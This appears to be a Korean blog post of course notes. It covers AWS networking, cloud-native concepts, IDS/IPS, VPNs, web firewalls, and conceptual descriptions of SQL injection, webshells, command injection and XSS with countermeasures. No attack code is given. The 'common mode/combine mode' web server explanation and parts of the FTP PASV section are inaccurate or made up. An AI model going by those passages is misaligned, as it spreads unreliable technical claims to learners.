  • 인터넷 게이트웨이의 역할은 VPC에서 생성한 네트워크와 인터넷 사이의 통신을 수행하는 것임
  • 이때, VPC에서 생성된 네트워크 안에 만들어지는 리소스들은 외부 네트워크와 직접 통신을 하므로, Public IP를 갖게 됨
  • Private subnet의 우 접근할 수 있지만, 인터넷에서는 접근 할 수있어야 함
    • 이와 같은 기능을 제공해주는 시스템이 NAT

라우팅 테이블 설정

  • 서브넷과 서브넷, 서브넷과 각 게이트웨이가 통신할 수 있는 경로에 관한 테이블 정보
    • 즉, 이 서버에 접속할 떄는 이곳을 경유한다 라는 규칙을 정의 할 수 있는 테이블

 

 

3.  클라우드 서비스 구축 및 마이그래이션

보안 그룹

  • VPC안의 리소스를 보호하기 위해 외부로부터의 접근을 제한 하는 것
  • AWS에서는 Security Group이라는 기능을 통해 제공 함

점프 서버 구축

점프서버

  • 모든 리소스에 접근 할 수 있는 입구를 점프서버 혹은 Bastion 서버라고 함
  • 클라우드 서비스 운영 시 해당 점프서버를 경유해야만 리소스에 접근 할 수 있는 방식을 많이 사용함

웹 서버

  • 브라우저나 애플리케이션으로부터 요청을 받아서 HTML 또는 JSON 등의 응답을 반환하는 역할

점프서버 vs 웹서버

  • 점프서버

시스템 관리자가 유지보수를 위해 이용

인터넷에 직접 연결

  • 웹서버

웹 서비스 사용자가 항상 연결을 시도함

로드 밸런서를 통해 간접 연결됨

강인한 웹 서버 운영을 위한 로드밸런서 구축

로드밸런서

  • 웹 서버 여러대를 구축하고, 처리를 분산하여 성능을 향상시키는 기능
  • 로드 밸런서의 주요 기능
    • 요청 분산
    • SSL 처리
    • 이상 요청 대응

 

4. 취약한 챗봇 서비스 구축 (취약한 웹 서버 구축)

9월24일 AWS 클라우드 기초(실습) 자료 참고

300x250
320x100

AWS icons

도면을 그릴때 쓰는 아키텍트이지만, 우리가 아이콘을 사용해서 활용할 수 있다.

https://aws.amazon.com/ko/architecture/icons/

aws well architected framework

https://aws.amazon.com/ko/architecture/?cards-all.sort-by=item.additionalFields.sortDate&cards-all.sort-order=desc&awsf.content-type=*all&awsf.methodology=*all&awsf.tech-category=*all&awsf.industries=*all&awsf.business-category=*all

강의교재 41 페이지

클라우드 패러다임

Cloud Native (AWS native: 당근마켓, 배달의민족 등…)

클라우드 시장은 코로나때 급성장하였다

클라우드 패러다임 → 클라우드 시장 급성장 → 클라우드 기술 성숙화(재투자를 하면서 성숙화됌) → Cloud Native

클라우드 패러다임 → Cloud transformation → Cloud Native

클라우드의 장점

  • 공유를 하기 때문에 효율성이 증대되고 가격이 저렴

컴퓨팅을 공유할 수도 있다.

“단, 다음 조건을 만족시킨다면”

  • 다른 사람이 나의 데이터를 볼 수 없다면 (System Isolation)
  • 다른 사람이 내가 무엇을 하는지 볼 수 없다면 (System Isolation)
  • 저렴하게 컴퓨팅 자원을 사용할 수 있다면 (System Performance)
  • 나 혼자 쓰는 것보다 속도가 많이 느려지지 않는다면 (System Performance)

자원 공유를 하기 위해서는 격리기술이 필요하다. → 격리기술 오버헤드가 크다(벽을 만들면서 차지하는 부피가 많다)

오버헤드는 시스템이나 프로세스가 특정 작업을 수행하기 위해 추가적으로 소모하는 자원이나 시간입니다. 즉, 실제로 필요한 작업 외에 발생하는 부가적인 비용이나 자원을 의미

요즘은

Docker(Container)

하나의 머신 위에 수백개가 있어도 잘 돌아간다. 하지만 수백개의 프로세스가 모여있기떄문에 “오케스트레이션”(kubernets)이 필요하다.

하지만 벽이 많아지면서 취약성이 증가하였다.

좋은점이 있으면 잃는 것이 생긴다.

VM ↔ overhead

Container ↔ security issues

Orchestration ↔ operational issues

Microservice architecture

  • Independent development and deployment → mixed technology stack
  • Fault isolation : even if one service does not work, the system still works
  • Granular scaling :Individual components can scale as per need

Cloud Native technologies

  • 클라우드 환겨ㅇ에서 확장성있는 애플리케이션을 개발하고 실행할 수 있게 해준다. 컨테이너, 서비스 메쉬, 마이크로서비스, 불변 인프라, 선언형 API가 이러한 접근 방식의 예시들이다.
  • 이 기술은 회복성, 관리 편의성, 가시성을 갖춘 느슨하게 결합된 시스템을 가능하게 한다. 견고한 자동화 기능을 함께 사용하면, 엔지니어는 영향이 큰 변경을 최소한의 노력으로 자주, 예측 가능하게 수행할 수 있다.

ICT 트렌드와 클라우드 컴퓨팅 패러다임

공급망보안 → 보안뉴스에서 검색

공급망에 악성 칩을 유통을 시키는 것

 

 

 

경계 보안

경계 보안 기법은 정보 시스템 및 네트워크의 경계를 보호하기 위해 사용되는 다양한 기술과 방법을 의미합니다. 주요 기법에는 다음과 같은 것들이 있습니다:

 

방화벽: 외부와 내부 네트워크 간의 트래픽을 필터링하여 불법적인 접근을 차단합니다.침입 탐지 시스템(IDS): 네트워크 트래픽을 모니터링하여 비정상적인 활동이나 공격을 탐지합니다.

 

침입 방지 시스템(IPS): IDS의 기능을 포함하면서, 탐지된 공격을 차단하는 기능도 갖추고 있습니다.VPN(가상 사설망): 원격 사용자가 안전하게 내부 네트워크에 접근할 수 있도록 암호화된 연결을 제공합니다.

 

액세스 제어: 사용자나 장치의 접근 권한을 관리하여 민감한 데이터나 시스템에 대한 접근을 제한합니다.정기적인 보안 점

검: 취약점을 발견하고 수정하기 위해 시스템과 네트워크를 주기적으로 점검합니다.

  • 방화벽: 외부와 내부 네트워크 간의 트래픽을 필터링하여 불법적인 접근을 차단합니다.
  • 침입 탐지 시스템(IDS): 네트워크 트래픽을 모니터링하여 비정상적인 활동이나 공격을 탐지합니다.
  • 침입 방지 시스템(IPS): IDS의 기능을 포함하면서, 탐지된 공격을 차단하는 기능도 갖추고 있습니다.
  • VPN(가상 사설망): 원격 사용자가 안전하게 내부 네트워크에 접근할 수 있도록 암호화된 연결을 제공합니다.
  • 액세스 제어: 사용자나 장치의 접근 권한을 관리하여 민감한 데이터나 시스템에 대한 접근을 제한합니다.
  • 정기적인 보안 점검: 취약점을 발견하고 수정하기 위해 시스템과 네트워크를 주기적으로 점검합니다.
300x250
320x100

IDS ⇒ sniffing mode 로 쓴다.

IPS ⇒ InLine mode

IPS(Intrusion Prevention System)

다양한 방법의 보안기술을 이용하여 침입이 일어나기 전에 실시간으로 침입을 막고, 유해 트래픽을 차단하기 위한 능동형 보안 솔루션 IPS는 예방적이고 사전에 조치를 취하는 기술이며, 반면에 IDS 는 탐지적이고 사후에 조치를 취하는 기술이다. 또한 IPS는 기존의 트래픽 유통에 직접 관여하며이러한 방식을 InLine 방식

  • Signature Based IPS (지식기반)
  • 각각 공격에 대하여 정확한 Signature를 정의, 해당 공격 패턴에 매칭이 되어야만 차단 시행
  • 알려지지 않은 공격의 경우 정확한 Signature List가 업데이트 되어 있지 않으면 차단이 불가능한 단점이 있으나, 오탐 가능성은 적다.
  • Heuristics Based IPS (행위기반)
  • Anomaly Detection / Prevention 방식이라고도 한다.
  • 알려지지 않는 공격을 수집하여 정보를 이용하여 오탐을 줄이고 능동적으로 대처하는 방식

ZPS(Zero Trust Protection System)

제로 트러스트 보안 모델을 기반으로 하며, 네트워크 내의 모든 사용자와 기기를 신뢰하지 않고 기본적으로 의심하는 접근 방식을 취합니다.사용자 인증과 권한 검증을 강화하여, 내부와 외부의 위협 모두에 대응할 수 있도록 설계되었습니다.

SVA(Security Vulnerability Assessment)

보안 취약점 평가를 의미하며, 시스템이나 네트워크에서 잠재적인 취약점을 식별하고 분석하는 과정입니다.이를 통해 보안 위험을 사전에 발견하고, 적절한 대응 방안을 마련할 수 있습니다.

  • SVA는 보안 취약점을 평가하고 시스템의 보안 상태를 분석하는 과정

IPsec VPN (Internet Protocol Security Virtual Private Network) - (VPN은 터널링이라고 하는데 암호화 시켜서 데이터를 전송함)

인터넷을 통해 안전한 데이터 전송을 제공하는 기술입니다. IPsec은 IP(Internet Protocol) 패킷의 보안을 강화하기 위해 사용되는 프로토콜 모음

암호화: 전송되는 데이터를 암호화하여 외부에서 접근할 수 없도록 보호합니다. 이를 통해 기밀성을 유지할 수 있습니다.

인증: 데이터의 출처를 확인하고, 데이터가 전송 중에 변경되지 않았음을 보장합니다. 이를 통해 무결성을 유지할 수 있습니다.

  • 터널 모드: 전체 IP 패킷을 암호화하여 새로운 패킷으로 캡슐화합니다. 주로 VPN 게이트웨이 간의 연결에 사용됩니다.
  • 트랜스포트 모드: 패킷의 페이로드만 암호화하며, 헤더는 그대로 유지합니다. 주로 호스트 간의 통신에 사용됩니다.

IPsec VPN은 높은 보안성을 제공하여 기업의 데이터 통신을 안전하게 보호하는 데 중요한 역할을 합니다.

IDS/IPS 정책

  • 탐지 정책(Signature)이 등록되어 있는 경우에만 탐지하고, 그 이외의 패킷은 무시
  • 오탐율이 매우 높으므로 최적화 시키기 위해서 충분한 시간동안 커스터마이징이 필요
  • RawData 정책을 어떻게 사용하느냐가 승패를 좌우

웹 방화벽 이해

443 포트 들어올 수 있으니까 SVA 들어가야하고

다른 외부 기관까지 가야한다면 VPN 장비도 넣어야함

  • 인터넷을 통한 웹 기반 서비스가 발전하면서 항상 개방되어 있는 웹을 이용한 공격이 일반화, 집중화 되고 있는 상황에서 단순한 홈페이지 변조사고부터 웹 서버를 통한 악성코드 유표까지 사고가 발생하고 있다. 이와 같은 이유로 웹 전용 보안시스템 구축이 필요하게 되었으며, 그 시스템이 웹 방화벽이다.

이벤트 대응 및 분석

이벤트 대응처리 프로세스

  1. 보안장비 로그 수집
  2. 이벤트 탐지 : 공격 발생 시 경보 발생 및 관제 인원에게 Mail을 발송하여 탐지 할 수 있다.
  3. 이벤트 1차 분석
  4. 공격자 IP 차단 및 이벤트 탐지 보고서 작성
  5. 담당자 통보
  6. 침해사고 조치지원(CERT)

OSI 7 Layer별 이벤트 유형

FTP PASV

FTP PASV(패시브 모드)는 파일 전송 프로토콜(FTP)에서 클라이언트와 서버 간의 연결을 설정하는 방식 중 하나입니다. FTP는 두 가지 모드(액티브 모드와 패시브 모드)를 지원하는데, PASV 모드는 다음과 같은 방식으로 작동합니다:

PASV 모드의 작동 방식

클라이언트 연결: 클라이언트가 FTP 서버에 연결을 요청합니다.서버 응답: 서버는 클라이언트에게 패시브 모드로 전환할 것을 알리며, 사용할 포트 번호를 제공합니다.클라이언트 연결: 클라이언트는 서버가 제공한 포트 번호로 새로운 연결을 수립합니다.데이터 전송: 이 새로운 연결을 통해 파일 데이터가 전송됩니다.

PASV 모드의 장점

방화벽 우회: PASV 모드는 클라이언트가 서버에 연결을 요청하고, 서버가 클라이언트의 요청에 따라 데이터 전송을 위한 포트를 열기 때문에 방화벽을 우회하는 데 유리합니다.클라이언트의 IP 주소 노출 감소: 클라이언트가 서버에 연결을 요청하는 방식이므로, 클라이언트의 IP 주소가 서버에 직접적으로 노출되지 않습니다.

PASV 모드는 특히 클라이언트가 NAT(네트워크 주소 변환) 뒤에 있을 때 유용하게 사용됩니다.

 

 

(시험)주요 공격 이벤트 및 영향

SQL Injection

  • 웹 클라이언트의 반환 메시지를 이용하여 불법 인증 및 정보를 유출하는 공격 방법으로 웹 응용 프로그램이나 파라미터 값에 강제로 SQL 질의문을 삽입하여 응답값을 통해 내부 데이터베이스(DB) 서버의 데이터를 유출 및 변조하고 관리자 인증을 우회하는 공격기법
  • 웹 서버로 전달된 SQL 질의문은 데이터베이스(DB) 정보가 일치할 경우 질의문에 해당하는 ‘True’ 값을 반환하고 일치하지 않을 경우 ‘False’ 값을 반환, 이때 에러메시지를 통해 2차 공격을 시도할 수 있다.

공격 영향

  • 인증절차 우회 기능
  • 데이터베이스(DB)에 저장된 데이터 값을 열람/삭제/수정 가능
  • 시스템 명령어 조작으로 운영 시스템에 영향

Webshell 공격

  • 웹페이지인 웹(Web)과 서버에 명령을 내려 실행하기 위한 인터페이스 역할의 쉘(Shell)의 합성어로써 웹 페이지에서 서버에게 명령을 실행하기 위해 만들어진 프로그램
  • 웹 서버(PHP, ASP, JSP 등)의 다양한 취약점 등을 타깃으로 공격하여 웹 서버에 Webshell을 업로드 한 후 웹 브라우저를 통해 업로드한 Webshell을 실행하여 침투한 서버상의 정보유출 및 변조, 악성코드 유포 등 웹 공격에 활용됨
  • 대표적인 공격형태로 확장자 우회공격, 자바스크립트 우회공격, MIMI Type 우회, 그림파일을 이용한 한 줄 웹쉘 등이 있다.

공격 영향

  • 관리자 권한 탈취 및 내부망 접근하여 내부 자료 및 개인정보 유출 가능
  • 웜 / 바이러스 배포서버로 악용

대응 방안

  • 확장자 제어: 허용된 확장자 외에는 업로드 금지, 정의된 확장자 차단
  • Directory List 취약점 제거 : 서버 내 파일 / 폴더 등을 확인하여 소스코드, 웹 페이지 구조가 노출 되는 것을 사전 제거

Command/Code Injection(Execution)

  • 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법
  • 주로 취약한 함수를 사용하거나 변수 입력 값 미 검증으로 인해 발생되며 과거에 발생된 Bash Shell Shock가 대표적이다.

공격 영향

  • 해당 공격이 유효성이 있을 경우, 웹 어플리케이션을 구동하고 있는 시스템 계정의 Shell 권한(관리자 권한 등) 을 획득하는 것과 같음

대응 방안

  • 지정되어 있는 변수 입력 값 외에 다른 값들이 들어왔을 경우 차단
  • 운영체제의 시스템 명령어가 사용자 입력에 의해 존재하는지 확인하고 불필요한 요청 시 차단
  • 확인되지 않은 사용자 입력을 파이프라인, open() 명령 등으로 전달하지 않음

XSS(Cross Site Scripting)

  • 컨텐츠를 암호화/검증하는 절차 없이 사용자가 제공하는 데이터를 어플리에킹션에서 받아들이거나 웹 브라우저로 보낼 때 발생되는 공격
  • JavaScript, VBScript 등과 같이 CSS(Client Side Script) 특징을 가진 언어로 작성된 악성 스크립트를 웹 페이지/게시판/메일 등에 포함시켜 사용자에게 전달하고 이를 사용자가 열람하였을 때 악성 스크립트가 실행됨

공격 영향

  • 악성 스크립트가 삽입된 게시판에 접근한 사용자를 대상으로 웜/바이러스 배포
  • 사용자의 세션 정보를 탈취하여 재사용 가능(사용자가 관리자일 경우 관리자 계정 탈취 기능)

대응 방안

  • 쿠키 값에 인증/권한 등의 중요 정보가 기록되지 않게 하거나 쿠키 인증 방식이 아닌 세션 인증 방식으로 변경
  • 스크립트 코드에 사용되는 특수문자에 대한 적절한 필터링
  • 사용자가 게시판에 사용할 수 있는 HTML 포맷만을 허용

 

 

공격 이벤트 분석 방법

GET / POST 이벤트

GET

  • URL에 Query String 형식으로 전달

POST

  • BODY 에 포함해서 전송하는 방식

POST 방식 이벤트 분석

  • 주의할 사항 : 확인하려는 파라미터 값이 서버나 데이터베이스(DB)에 영향을 주려는 값이라면 테스트 보다는 담당자에게 통보를 하는 것이 나을 수 있음 - > 문제가 될 수 있다.

IBM AI 솔루션

IBM의 AI 솔루션은 다양한 산업과 용도에 맞춰 설계된 여러 제품과 서비스를 포함합니다. 주요 IBM AI 솔루션은 다음과 같습니다:

IBM Watson:IBM의 대표적인 AI 플랫폼으로, 자연어 처리(NLP), 머신러닝, 데이터 분석 등의 기능을 제공합니다.다양한 산업에 적용할 수 있는 API와 툴을 제공하여, 고객 맞춤형 AI 솔루션을 개발할 수 있게 합니다.

MSSQL 포트 1433


통합보안관제시스템의 이해

Web Servers

  • common mode
  • combine mode

웹 서버의 common mode와 combine mode는 웹 서버의 요청 처리 방식과 관련된 용어로 보입니다. 이 두 가지 모드의 차이를 간단히 설명하겠습니다.

Common Mode

정의: 일반적으로 사용되는 기본적인 요청 처리 방식입니다.특징: 클라이언트의 요청을 순차적으로 처리하며, 각 요청이 독립적으로 처리됩니다.장점: 구현이 간단하고, 상태 관리가 용이합니다.단점: 동시에 여러 요청을 처리하는 데 한계가 있어, 고부하 상황에서는 성능 저하가 발생할 수 있습니다.

Combine Mode

정의: 여러 요청을 결합하여 처리하는 방식입니다.특징: 여러 클라이언트의 요청을 하나의 처리 단위로 묶어서 효율적으로 처리합니다.장점: 서버 자원을 보다 효율적으로 사용할 수 있으며, 성능 향상에 기여합니다.단점: 구현이 복잡할 수 있으며, 상태 관리와 오류 처리에 더 많은 주의가 필요합니다.

이러한 모드는 서버의 목적과 요구 사항에 따라 선택될 수 있으며, 성능과 효율성을 고려하여 적절한 모드를 선택하는 것이 중요

300x250

+ Recent posts